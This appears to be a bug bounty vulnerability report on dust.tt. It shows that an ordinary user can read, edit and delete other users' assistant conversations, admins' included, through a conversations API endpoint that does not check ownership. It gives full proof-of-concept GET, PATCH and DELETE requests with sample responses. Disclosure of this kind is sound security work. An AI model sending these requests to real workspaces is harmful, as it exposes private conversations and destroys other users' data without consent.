How it was found

Summary:

A normal authenticated user on dust.tt can escalate their privileges by accessing, modifying, and deleting any chat threads belonging to other users — including administrators — through a vulnerable API endpoint without having the appropriate permissions.

#Vulnerability Details:

Reading Other Users’ Conversations:

GET /api/w/<Workspace-id>/assistant/conversations/<victim-conversation-id>

Example:

GET /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>

Response:

{
  "conversation": {
    "id": [conversation_numeric_id], 
    "created": [timestamp_in_milliseconds], 
    "sId": "[conversation_string_id]", 
    "owner": {
      "id": [user_numeric_id], 
      "sId": "[user_string_id]", 
      "name": "[username]", 
      "role": "[user_role]", 
      "segmentation": null,
      "ssoEnforced": false, 
      "whiteListedProviders": null, 
      "defaultEmbeddingProvider": null, 
      "metadata": {
        "isBusiness": false
      }
    },
    "title": "[conversation_title]", 
    "visibility": "[visibility_status]", 
    "requestedGroupIds": []
  }
}

Deleting Other Users’ Conversations:

• By sending a DELETE request to the same endpoint, the attacker can delete any conversation:

DELETE /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>

• No additional verification is performed server-side to confirm ownership of the conversation.

• The request succeeds and the conversation is permanently deleted from the target workspace.

Editing Other Users’ Conversations:

Similarly, an attacker can update the content or metadata of a conversation by sending a PATCH request:

Example:

PATCH /api/w/[Workspace ID]/assistant/conversations/[Conversation ID]
Content-Type: application/json
Cookie: <User-session_token_or_cookies>

{
  "title": "Updated by Attacker",
   "visibility":"unlisted"
}

Response:

{
  "conversation": {
    "id": [conversation_numeric_id],
    "created": [timestamp_in_milliseconds],
    "sId": "[conversation_string_id]",
    "owner": {
      "id": [owner_numeric_id],
      "sId": "[owner_string_id]",
      "name": "[owner_username]",
      "role": "[owner_role]",
      "segmentation": null,
      "ssoEnforced": false,
      "whiteListedProviders": null,
      "defaultEmbeddingProvider": null,
      "metadata": {
        "isBusiness": false
      }
    },
    "title": "[conversation_title]",
    "visibility": "[visibility_status]",
    "content": [
      [
        {
          "id": [message_id],
          "sId": "[message_string_id]",
          "type": "[message_type]",
          "visibility": "[message_visibility]",
          "version": 0,
          "created": [message_timestamp],
          "user": {
            "sId": "[user_string_id]",
            "id": [user_numeric_id],
            "createdAt": [user_created_timestamp],
            "provider": "[auth_provider]",
            "username": "[user_username]",
            "email": "[user_email_address]",
            "firstName": "[user_first_name]",
            "lastName": "[user_last_name]",
            "fullName": "[user_full_name]",
            "image": "[user_profile_image_url]"
          },
          "mentions": [],
          "content": "[message_content]",
          "context": {
            "username": "[user_username]",
            "timezone": "[user_timezone]",
            "fullName": "[user_full_name]",
            "email": "[user_email_address]",
            "profilePictureUrl": "[user_profile_image_url]",
            "origin": "[message_origin]"
          }
        }
      ]
    ],
    "requestedGroupIds": []
  }
}

#POC VIDEO:

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Impact

This vulnerability allows a normal user to:

• Read private conversations of any user, including admins.
• Modify other users' chat threads.
• Delete chat threads of other users without their consent.

This issue severely compromises the confidentiality, integrity, and availability of user data within the application, making it a critical security concern that needs to be addressed immediately.